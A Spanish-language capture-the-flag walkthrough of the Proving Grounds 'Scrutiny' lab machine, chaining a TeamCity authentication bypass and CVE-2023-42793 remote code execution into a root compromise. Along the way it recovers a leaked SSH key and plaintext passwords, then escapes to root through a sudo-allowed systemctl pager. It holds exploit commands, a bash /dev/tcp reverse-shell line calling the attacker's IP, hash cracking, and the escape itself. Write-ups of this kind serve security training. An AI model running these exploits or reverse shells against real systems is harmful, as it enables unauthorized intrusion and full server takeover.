the_open_door
café
ESEN

Scrutiny

Proving Grounds PracticeMediaLinux192.168.160.91

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#teamcity#cve-2023-42793#auth-bypass#id-rsa-cracking#mail-credentials#systemctl-pager#sudo#information-disclosure#oscp
TL;DR. El vhost teams.onlyrands.com sirve JetBrains TeamCity 2023.05.4. Un bypass de autenticación nos crea un administrador, y con la CVE-2023-42793 (TeamCity RCE (CVE-2023-42793)) conseguimos shell como git. A partir de ahí es una cadena de filtraciones: el historial de cambios de TeamCity conserva un id_rsa borrado que crackeamos (crackeo de hashes) para entrar como marcot; un correo en /var/mail regala la contraseña de matthewa; un fichero .~ la de briand. El remate es un sudo systemctl status cuyo pager escapa a shell como root (escape del pager de systemctl).

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Tres puertos: SSH, SMTP y un servidor web nginx.

ping -c 1 192.168.160.91
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.160.91
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
nmap -p22,25,80 -sCV 192.168.160.91 -oN targetedScan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: onlyrands.com, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ...
| ssl-cert: Subject: commonName=onlyrands.com
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: OnlyRands

El certificado SMTP y el Host: que devuelve nginx apuntan al dominio onlyrands.com. La web principal es un "OnlyRands" estático, pero un servicio de correo activo en un host web siempre merece anotarse: puede ser el vector de una filtración más tarde.

HTTP - TCP 80

La web principal es un "OnlyRands" estático, pero su enlace Login (arriba a la derecha) no apunta a una ruta local, sino a un subdominio: http://teams.onlyrands.com. Así es como aparece el virtual host:

web OnlyRands: el enlace Login apunta a http://teams.onlyrands.com

Lo añadimos al /etc/hosts para resolverlo:

echo "192.168.160.91  onlyrands.com teams.onlyrands.com" | sudo tee -a /etc/hosts

Ese vhost sirve un JetBrains TeamCity; la pantalla de login muestra la versión exacta en el pie: 2023.05.4 (build 129421):

login de TeamCity en teams.onlyrands.com con "Version 2023.05.4 (build 129421)" al pie

Log in to TeamCity
  Username
  Password
  [x] Remember me      Reset password
  [ Log in ]

Version 2023.05.4 (build 129421)

TeamCity es un servidor de integración continua, y esa rama tiene CVEs muy jugosos:

searchsploit teamcity
JetBrains TeamCity 2023.11.4 - Authentication Bypass   | multiple/webapps/52411.py

Explotación

TeamCity 2023.05.4: bypass de autenticación

Copiamos el exploit a nuestro directorio con searchsploit -m y lo renombramos a un nombre manejable:

searchsploit -m multiple/webapps/52411.py
mv 52411.py teamcity_exp.py
  Exploit: JetBrains TeamCity 2023.11.4 - Authentication Bypass
      URL: https://www.exploit-db.com/exploits/52411
     Path: /usr/share/exploitdb/exploits/multiple/webapps/52411.py
    Codes: N/A
Copied to: /home/kali/scrutiny/52411.py

El exploit 52411.py abusa de la API REST para registrar un usuario nuevo con rol SYSTEM_ADMIN sin autenticación previa. Editamos las credenciales que creará (kmn9/kmn9) y lo lanzamos:

python3 teamcity_exp.py --url http://teams.onlyrands.com --verbose

El bypass de autenticación de TeamCity crea el admin kmn9 con rol SYSTEM_ADMIN

[+] Target is reachable
[DEBUG] Payload: {"username": "kmn9", "password": "kmn9", "email": "kmn9@exploit.local", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
[+] Exploit successful!
[SUCCESS] Admin user created!
Username: kmn9
Password: kmn9
Login URL: http://teams.onlyrands.com/login.html

El exploit crea el usuario kmn9 con rol SYSTEM_ADMIN (id 24). Ya podemos entrar en la consola de TeamCity con esas credenciales:

el login de TeamCity con kmn9 en usuario y contraseña, y la versión 2023.05.4 build 129421 al pie

Y dentro, el perfil confirma que la cuenta es la que ha fabricado el exploit: el correo es el kmn9@exploit.local que aparecía en el payload.

el perfil de kmn9 en TeamCity con el correo kmn9@exploit.local y el menu Access Tokens en la barra lateral

CVE-2023-42793: RCE autenticado

Con un token administrativo, TeamCity 2023.05.4 es vulnerable a la CVE-2023-42793, que permite ejecución de comandos abusando del despliegue de plugins/procesos internos (TeamCity RCE (CVE-2023-42793)). Primero generamos un token de acceso para el usuario recién creado:

curl -X POST http://teams.onlyrands.com/app/rest/users/id:24/tokens/RPC2 -u kmn9:kmn9
<token name="RPC2" ... value="eyJ0eXAiOiAiVENWMiJ9.LURaX19ybFBiSlVDRE02OXhPX0xrbldRdldv.MDE5..."/>

El rce.py que ejecuta la CVE-2023-42793 no viene con searchsploit. Una búsqueda de "team city exploitation" lo confirma como un CVE muy explotado (hay hasta un aviso de CISA sobre el SVR ruso abusándolo) y apunta al repositorio de B4l3rI0n, que lo automatiza:

búsqueda "team city exploitation": aviso de CISA y el repo B4l3rI0n/CVE-2023-42793

Su README documenta las opciones y, lo que más importa, trae la línea exacta del -c para una reverse shell, que es la parte que cuesta acertar por el URL-encoding de los &params=:

el README de B4l3rI0n/CVE-2023-42793 con las opciones del script y la sección For reverse shell resaltada

Options
  -u, --url URL          : Target URL (required)
  -t, --token-file       : TO specify the file containing the token
  -c, --command COMMAND  : Specify command to execute (RCE)
  -P, --port PORT        : Specify port (default is 80)

Example
python rce.py -u http://target.com -t token -c "whoami"

For reverse shell
-c '"/bin/bash"&params="-c"&params="sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}%2F{port}%200%3E%261"'

In this command for reverse shell replace {IP} with your ip and {port} with the port you are listening on
Creat a listener using nc for ex  nc -nvlp 5555

Lo clonamos (repo):

git clone https://github.com/B4l3rI0n/CVE-2023-42793
cd CVE-2023-42793
pip3 install -r requirements.txt --break-system-packages

git clone del repositorio, el ls con exploit.py, rce.py y requirements.txt, y la instalación de dependencias

README.md  exploit.py  rce.py  requirements.txt

Collecting argparse (from -r requirements.txt (line 1))
  Using cached argparse-1.4.0-py2.py3-none-any.whl.metadata (2.8 kB)

Antes de disparar la shell, dejamos Penelope a la escucha en el 80:

penelope 80

Guardamos el value en un fichero token y lanzamos el RCE con una reverse shell:

python3 rce.py -u http://teams.onlyrands.com -p 80 -t token \
  -c '"/bin/bash"&params="-c"&params="sh -i >& /dev/tcp/192.168.45.247/80 0>&1"'

Reverse shell recibida como el usuario git tras la CVE-2023-42793

(Penelope)> listeners add -p 80
[+] Got reverse shell from onlyrands.com~192.168.160.91-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
git@onlyrands:~/software/TeamCity/bin$ whoami
git

La shell corre como git (TeamCity se ejecuta bajo esa cuenta en esta caja).

Local

cat local.txt && whoami && ip a && hostname

local.txt leída como el usuario git en onlyrands.com

5c7481c8fe7d0e24b65ccb0733aace69
git

Pivote de usuarios

id_rsa borrado en el historial de TeamCity

TeamCity indexa repositorios Git de los "freelancers". Revisando Changes aparece un commit de Marco Tillman (marcot) con el comentario "Oops": la vista de diferencias marca un fichero id_rsa como Removed. Borrarlo del árbol de trabajo no lo borra del historial ni del índice que TeamCity guardó:

El historial de cambios de TeamCity conserva el id_rsa que marcot intentó borrar

Abriendo esa diferencia, TeamCity pinta el fichero borrado entero, con su botón de Copy incluido:

la vista diffView de TeamCity mostrando el id_rsa borrado por marcot, firmado por Marco Tillman, con la clave OPENSSH completa y el botón Copy resaltado

deleted id_rsa
marcot: Oops
Signed-off-by: Marco Tillman <marcot@onlyrands.com>

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCzpZkaQ7
4EIGvgnCCw0x+IAAAAEAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQDS1hJawG7o
...

El Signed-off-by es un regalo aparte: da el nombre completo y el correo del dueño de la clave, que es justo el usuario con el que habrá que entrar por SSH.

Descargamos esa clave privada. Está cifrada con passphrase, así que la pasamos por ssh2john y la crackeamos (crackeo de hashes):

ssh2john id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

john crackea la passphrase del id_rsa: cheer

Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
cheer            (id_rsa)
1g 0:00:00:59 DONE (2026-02-10 21:18) ...

La passphrase es cheer. Con la clave entramos por SSH como marcot (el aviso "You have mail" al entrar será la siguiente pista):

ssh marcot@192.168.160.91   # passphrase: cheer

ssh como marcot: Ubuntu 20.04.6, "You have mail", whoami marcot

marcot@onlyrands:~$ whoami
marcot

Contraseña de matthewa en /var/mail

El aviso "You have mail" al entrar es una pista. Leemos el buzón de marcot (credenciales filtradas):

cat /var/mail/* 2>/dev/null | grep pass -C 10

correo en /var/mail de matthewa con la contraseña IdealismEngineAshen476, y su matthewa

Marco,
Dach, the imbecile, forgot to disable my access, so you can login using my account.
The password is "IdealismEngineAshen476" (without the quotation marks).
Sincerely, Matthew A.

La contraseña IdealismEngineAshen476 es de matthewa:

su matthewa   # IdealismEngineAshen476

Contraseña de briand en el fichero .~

En el home de matthewa hay un fichero oculto raro, .~. Su contenido filtra otra contraseña más:

cd ~ && ls -la && cat '.~'

el fichero .~ en el home de matthewa filtra la contraseña de briand: RefriedScabbedWasting502, y su briand

Dach's password is "RefriedScabbedWasting502". I saw it once when he had to use my terminal
to check TeamCity's status.

Dach es el usuario briand, y esa nota es la clave de por qué su privilegio importa (comprobar el estado de TeamCity):

su briand   # RefriedScabbedWasting502

Escalada de privilegios

Escape del pager de sudo systemctl status

briand tiene un permiso sudo muy concreto:

sudo -l
User briand may run the following commands on onlyrands:
    (root) NOPASSWD: /usr/bin/systemctl status teamcity-server.service

Cuando systemctl status produce una salida larga la envía a un pager (less), que se ejecuta con los privilegios del sudo. Desde less podemos escapar a una shell con !sh (escape del pager de systemctl):

sudo /usr/bin/systemctl status teamcity-server.service
!sh

sudo systemctl status abre el pager; !sh escapa a una shell como root

briand@onlyrands:~$ sudo /usr/bin/systemctl status teamcity-server.service
● teamcity-server.service - TeamCity Server
     Loaded: loaded (/lib/systemd/system/teamcity-server.service; enabled; vendor preset: enabled)
     Active: active (running) since Mon 2024-08-05 17:12:08 UTC; 1 years 6 months ago
...
!sh
# whoami
root

Esto es exactamente lo que la nota .~ anticipaba: briand usaba su acceso para "comprobar el estado de TeamCity", y ese mismo permiso lo lleva a root.

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root

eb2ec09fb795c3833f25e27239bd25b5
root

Cadena de ataque

teams.onlyrands.com  --  JetBrains TeamCity 2023.05.4
        │  bypass de autenticación -> admin kmn9
        │  CVE-2023-42793: token RPC + rce.py -> reverse shell
        ▼
git  (local.txt)
        │  historial de TeamCity conserva id_rsa borrado -> john (passphrase cheer)
        ▼
marcot
        │  /var/mail -> matthewa : IdealismEngineAshen476
        ▼
matthewa
        │  fichero .~ -> briand : RefriedScabbedWasting502
        ▼
briand
        │  sudo systemctl status -> pager (less) -> !sh
        ▼
root  (proof.txt)

Lecciones aprendidas

  • Los CVEs de TeamCity encadenan bypass + RCE. Primero un usuario admin sin autenticar, luego la CVE-2023-42793 para ejecutar código. Un CI accesible sin parchear es acceso directo al host.
  • Git no olvida. Un id_rsa "borrado" seguía en el historial que TeamCity indexó. Rotar la clave y reescribir el historial (no solo borrar el fichero) es lo que de verdad la retira.
  • El correo local es una mina de credenciales. /var/mail guardaba una contraseña en claro; siempre hay que leerlo tras conseguir shell.
  • systemctl status con sudo es un escape a shell. Su pager (less) permite !sh. Si un servicio debe monitorizarse sin privilegios, usar --no-pager o SYSTEMD_PAGER=cat, o herramientas de solo lectura.
Cheatsheet de comandos 10 comandos

Repaso rápido